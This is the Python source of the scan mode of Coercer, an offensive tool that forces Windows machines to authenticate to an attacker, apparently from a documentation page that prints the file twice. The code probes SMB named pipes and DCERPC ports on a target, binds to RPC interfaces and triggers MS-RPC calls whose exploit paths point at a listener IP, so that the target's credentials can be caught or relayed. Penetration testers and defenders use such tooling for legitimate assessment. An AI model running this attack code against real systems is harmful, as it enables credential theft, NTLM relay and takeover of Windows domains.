coercer.core.modes.scan

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3# File name          : scan.py
  4# Author             : Podalirius (@podalirius_)
  5# Date created       : 18 Sep 2022
  6
  7
  8import time
  9from coercer.core.Filter import Filter
 10from coercer.core.utils import generate_exploit_path_from_template
 11from coercer.network.DCERPCSession import DCERPCSession
 12from coercer.structures.TestResult import TestResult
 13from coercer.network.authentications import trigger_and_catch_authentication
 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface
 15from coercer.network.utils import get_ip_addr_to_listen_on, get_next_http_listener_port
 16from coercer.network.rpc import portmap_discover, is_port_open, can_bind_to_interface_on_port
 17
 18
 19def action_scan(target, available_methods, options, credentials, reporter):
 20    http_listen_port = 0
 21
 22    filter = Filter(
 23        filter_method_name=options.filter_method_name,
 24        filter_protocol_name=options.filter_protocol_name,
 25        filter_pipe_name=options.filter_pipe_name
 26    )
 27
 28    # Preparing tasks ==============================================================================================================
 29
 30    if "dcerpc" in options.filter_transport_name:
 31        if not options.dce_ports:
 32            portmap = portmap_discover(target, options.dce_port)
 33        else:
 34            portmap = {}
 35    tasks = {}
 36    for method_type in available_methods.keys():
 37        for category in sorted(available_methods[method_type].keys()):
 38            for method in sorted(available_methods[method_type][category].keys()):
 39                instance = available_methods[method_type][category][method]["class"]
 40
 41                if filter.method_matches_filter(instance):
 42                    for access_type, access_methods in instance.access.items():
 43                        if access_type not in tasks.keys():
 44                            tasks[access_type] = {}
 45
 46                        # Access through SMB named pipe
 47                        if access_type == "ncan_np":
 48                            for access_method in access_methods:
 49                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 50                                if namedpipe not in tasks[access_type].keys():
 51                                    tasks[access_type][namedpipe] = {}
 52
 53                                if uuid not in tasks[access_type][namedpipe].keys():
 54                                    tasks[access_type][namedpipe][uuid] = {}
 55
 56                                if version not in tasks[access_type][namedpipe][uuid].keys():
 57                                    tasks[access_type][namedpipe][uuid][version] = []
 58
 59                                if instance not in tasks[access_type][namedpipe][uuid][version]:
 60                                    tasks[access_type][namedpipe][uuid][version].append(instance)
 61                        elif access_type == "ncacn_ip_tcp":
 62                            for access_method in access_methods:
 63                                uuid, version = access_method["uuid"], access_method["version"]
 64                                for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
 65                                    if port not in tasks[access_type].keys():
 66                                        tasks[access_type][port] = {}
 67
 68                                    if uuid not in tasks[access_type][port].keys():
 69                                        tasks[access_type][port][uuid] = {}
 70
 71                                    if version not in tasks[access_type][port][uuid].keys():
 72                                        tasks[access_type][port][uuid][version] = []
 73
 74                                    if instance not in tasks[access_type][port][uuid][version]:
 75                                        tasks[access_type][port][uuid][version].append(instance)
 76
 77    # Executing tasks =======================================================================================================================
 78
 79    listening_ip = get_ip_addr_to_listen_on(target, options)
 80    if options.verbose:
 81        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
 82
 83    # Processing ncan_np tasks
 84    if len(tasks.keys()) == 0:
 85        return None
 86    if "dcerpc" in options.filter_transport_name:
 87        ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {})
 88        for port in sorted(ncacn_ip_tcp_tasks.keys()):
 89            if is_port_open(target, port):
 90                print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port)
 91                for uuid in sorted(ncacn_ip_tcp_tasks[port].keys()):
 92                    for version in sorted(ncacn_ip_tcp_tasks[port][uuid].keys()):
 93                        if can_bind_to_interface_on_port(target, port, credentials, uuid, version):
 94                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 95                            for msprotocol_class in sorted(ncacn_ip_tcp_tasks[port][uuid][version], key=lambda x:x.function["name"]):
 96                                
 97                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 98                                
 99                                stop_exploiting_this_function = False
100                                for listener_type, exploitpath in exploit_paths:
101                                    if stop_exploiting_this_function == True:
102                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
103                                        continue
104                                    if listener_type == "http":
105                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
106
107                                    exploitpath = generate_exploit_path_from_template(
108                                        template=exploitpath,
109                                        listener=listening_ip,
110                                        http_listen_port=options.http_port,
111                                        smb_listen_port=options.smb_port
112                                    )
113
114                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
115                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
116                                    dcerpc.connect_ncacn_ip_tcp(target=target, port=port)
117
118                                    if dcerpc.session is not None:
119                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
120                                        if dcerpc.session is not None:
121                                            reporter.print_testing(msprotocol_rpc_instance)
122
123                                            result = trigger_and_catch_authentication(
124                                                options=options,
125                                                dcerpc_session=dcerpc.session,
126                                                target=target,
127                                                method_trigger_function=msprotocol_rpc_instance.trigger,
128                                                listenertype=listener_type,
129                                                listen_ip=listening_ip,
130                                                http_port=http_listen_port
131                                            )
132
133                                            reporter.report_test_result(
134                                                uuid=uuid, version=version, namedpipe=namedpipe,
135                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
136                                                result=result,
137                                                exploitpath=exploitpath
138                                            )
139
140                                            if result == TestResult.NCA_S_UNK_IF:
141                                                stop_exploiting_this_function = True
142
143                                    if options.delay is not None:
144                                        # Sleep between attempts
145                                        time.sleep(options.delay)
146                        else:
147                            if options.verbose:
148                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
149            else:
150                if options.verbose:
151                    print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port)
152
153    if "msrpc" in options.filter_transport_name:
154        ncan_np_tasks = tasks["ncan_np"]
155        for namedpipe in sorted(ncan_np_tasks.keys()):
156            if can_connect_to_pipe(target, namedpipe, credentials):
157                print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
158                for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
159                    for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
160                        if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
161                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
162                            for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
163
164                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
165
166                                stop_exploiting_this_function = False
167                                for listener_type, exploitpath in exploit_paths:
168                                    if stop_exploiting_this_function == True:
169                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
170                                        continue
171                                    if listener_type == "http":
172                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
173
174                                    exploitpath = generate_exploit_path_from_template(
175                                        template=exploitpath,
176                                        listener=listening_ip,
177                                        http_listen_port=options.http_port,
178                                        smb_listen_port=options.smb_port
179                                    )
180
181                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
182                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
183                                    dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
184
185                                    if dcerpc.session is not None:
186                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
187                                        if dcerpc.session is not None:
188                                            reporter.print_testing(msprotocol_rpc_instance)
189
190                                            result = trigger_and_catch_authentication(
191                                                options=options,
192                                                dcerpc_session=dcerpc.session,
193                                                target=target,
194                                                method_trigger_function=msprotocol_rpc_instance.trigger,
195                                                listenertype=listener_type,
196                                                listen_ip=listening_ip,
197                                                http_port=http_listen_port
198                                            )
199
200                                            reporter.report_test_result(
201                                                uuid=uuid, version=version, namedpipe=namedpipe,
202                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
203                                                result=result,
204                                                exploitpath=exploitpath
205                                            )
206
207                                            if result == TestResult.NCA_S_UNK_IF:
208                                                stop_exploiting_this_function = True
209
210                                    if options.delay is not None:
211                                        # Sleep between attempts
212                                        time.sleep(options.delay)
213                        else:
214                            if options.verbose:
215                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
216            else:
217                if options.verbose:
218                    print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def action_scan(target, available_methods, options, credentials, reporter):
 20def action_scan(target, available_methods, options, credentials, reporter):
 21    http_listen_port = 0
 22
 23    filter = Filter(
 24        filter_method_name=options.filter_method_name,
 25        filter_protocol_name=options.filter_protocol_name,
 26        filter_pipe_name=options.filter_pipe_name
 27    )
 28
 29    # Preparing tasks ==============================================================================================================
 30
 31    if "dcerpc" in options.filter_transport_name:
 32        if not options.dce_ports:
 33            portmap = portmap_discover(target, options.dce_port)
 34        else:
 35            portmap = {}
 36    tasks = {}
 37    for method_type in available_methods.keys():
 38        for category in sorted(available_methods[method_type].keys()):
 39            for method in sorted(available_methods[method_type][category].keys()):
 40                instance = available_methods[method_type][category][method]["class"]
 41
 42                if filter.method_matches_filter(instance):
 43                    for access_type, access_methods in instance.access.items():
 44                        if access_type not in tasks.keys():
 45                            tasks[access_type] = {}
 46
 47                        # Access through SMB named pipe
 48                        if access_type == "ncan_np":
 49                            for access_method in access_methods:
 50                                namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
 51                                if namedpipe not in tasks[access_type].keys():
 52                                    tasks[access_type][namedpipe] = {}
 53
 54                                if uuid not in tasks[access_type][namedpipe].keys():
 55                                    tasks[access_type][namedpipe][uuid] = {}
 56
 57                                if version not in tasks[access_type][namedpipe][uuid].keys():
 58                                    tasks[access_type][namedpipe][uuid][version] = []
 59
 60                                if instance not in tasks[access_type][namedpipe][uuid][version]:
 61                                    tasks[access_type][namedpipe][uuid][version].append(instance)
 62                        elif access_type == "ncacn_ip_tcp":
 63                            for access_method in access_methods:
 64                                uuid, version = access_method["uuid"], access_method["version"]
 65                                for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
 66                                    if port not in tasks[access_type].keys():
 67                                        tasks[access_type][port] = {}
 68
 69                                    if uuid not in tasks[access_type][port].keys():
 70                                        tasks[access_type][port][uuid] = {}
 71
 72                                    if version not in tasks[access_type][port][uuid].keys():
 73                                        tasks[access_type][port][uuid][version] = []
 74
 75                                    if instance not in tasks[access_type][port][uuid][version]:
 76                                        tasks[access_type][port][uuid][version].append(instance)
 77
 78    # Executing tasks =======================================================================================================================
 79
 80    listening_ip = get_ip_addr_to_listen_on(target, options)
 81    if options.verbose:
 82        print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port))
 83
 84    # Processing ncan_np tasks
 85    if len(tasks.keys()) == 0:
 86        return None
 87    if "dcerpc" in options.filter_transport_name:
 88        ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {})
 89        for port in sorted(ncacn_ip_tcp_tasks.keys()):
 90            if is_port_open(target, port):
 91                print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port)
 92                for uuid in sorted(ncacn_ip_tcp_tasks[port].keys()):
 93                    for version in sorted(ncacn_ip_tcp_tasks[port][uuid].keys()):
 94                        if can_bind_to_interface_on_port(target, port, credentials, uuid, version):
 95                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
 96                            for msprotocol_class in sorted(ncacn_ip_tcp_tasks[port][uuid][version], key=lambda x:x.function["name"]):
 97                                
 98                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
 99                                
100                                stop_exploiting_this_function = False
101                                for listener_type, exploitpath in exploit_paths:
102                                    if stop_exploiting_this_function == True:
103                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
104                                        continue
105                                    if listener_type == "http":
106                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
107
108                                    exploitpath = generate_exploit_path_from_template(
109                                        template=exploitpath,
110                                        listener=listening_ip,
111                                        http_listen_port=options.http_port,
112                                        smb_listen_port=options.smb_port
113                                    )
114
115                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
116                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
117                                    dcerpc.connect_ncacn_ip_tcp(target=target, port=port)
118
119                                    if dcerpc.session is not None:
120                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
121                                        if dcerpc.session is not None:
122                                            reporter.print_testing(msprotocol_rpc_instance)
123
124                                            result = trigger_and_catch_authentication(
125                                                options=options,
126                                                dcerpc_session=dcerpc.session,
127                                                target=target,
128                                                method_trigger_function=msprotocol_rpc_instance.trigger,
129                                                listenertype=listener_type,
130                                                listen_ip=listening_ip,
131                                                http_port=http_listen_port
132                                            )
133
134                                            reporter.report_test_result(
135                                                uuid=uuid, version=version, namedpipe=namedpipe,
136                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
137                                                result=result,
138                                                exploitpath=exploitpath
139                                            )
140
141                                            if result == TestResult.NCA_S_UNK_IF:
142                                                stop_exploiting_this_function = True
143
144                                    if options.delay is not None:
145                                        # Sleep between attempts
146                                        time.sleep(options.delay)
147                        else:
148                            if options.verbose:
149                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
150            else:
151                if options.verbose:
152                    print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port)
153
154    if "msrpc" in options.filter_transport_name:
155        ncan_np_tasks = tasks["ncan_np"]
156        for namedpipe in sorted(ncan_np_tasks.keys()):
157            if can_connect_to_pipe(target, namedpipe, credentials):
158                print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe)
159                for uuid in sorted(ncan_np_tasks[namedpipe].keys()):
160                    for version in sorted(ncan_np_tasks[namedpipe][uuid].keys()):
161                        if can_bind_to_interface(target, namedpipe, credentials, uuid, version):
162                            print("   [+] Successful bind to interface (%s, %s)!" % (uuid, version))
163                            for msprotocol_class in sorted(ncan_np_tasks[namedpipe][uuid][version], key=lambda x:x.function["name"]):
164
165                                exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
166
167                                stop_exploiting_this_function = False
168                                for listener_type, exploitpath in exploit_paths:
169                                    if stop_exploiting_this_function == True:
170                                        # Got a nca_s_unk_if response, this function does not listen on the given interface
171                                        continue
172                                    if listener_type == "http":
173                                        http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
174
175                                    exploitpath = generate_exploit_path_from_template(
176                                        template=exploitpath,
177                                        listener=listening_ip,
178                                        http_listen_port=options.http_port,
179                                        smb_listen_port=options.smb_port
180                                    )
181
182                                    msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
183                                    dcerpc = DCERPCSession(credentials=credentials, verbose=True)
184                                    dcerpc.connect_ncacn_np(target=target, pipe=namedpipe)
185
186                                    if dcerpc.session is not None:
187                                        dcerpc.bind(interface_uuid=uuid, interface_version=version)
188                                        if dcerpc.session is not None:
189                                            reporter.print_testing(msprotocol_rpc_instance)
190
191                                            result = trigger_and_catch_authentication(
192                                                options=options,
193                                                dcerpc_session=dcerpc.session,
194                                                target=target,
195                                                method_trigger_function=msprotocol_rpc_instance.trigger,
196                                                listenertype=listener_type,
197                                                listen_ip=listening_ip,
198                                                http_port=http_listen_port
199                                            )
200
201                                            reporter.report_test_result(
202                                                uuid=uuid, version=version, namedpipe=namedpipe,
203                                                msprotocol_rpc_instance=msprotocol_rpc_instance,
204                                                result=result,
205                                                exploitpath=exploitpath
206                                            )
207
208                                            if result == TestResult.NCA_S_UNK_IF:
209                                                stop_exploiting_this_function = True
210
211                                    if options.delay is not None:
212                                        # Sleep between attempts
213                                        time.sleep(options.delay)
214                        else:
215                            if options.verbose:
216                                print("   [!] Cannot bind to interface (%s, %s)!" % (uuid, version))
217            else:
218                if options.verbose:
219                    print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)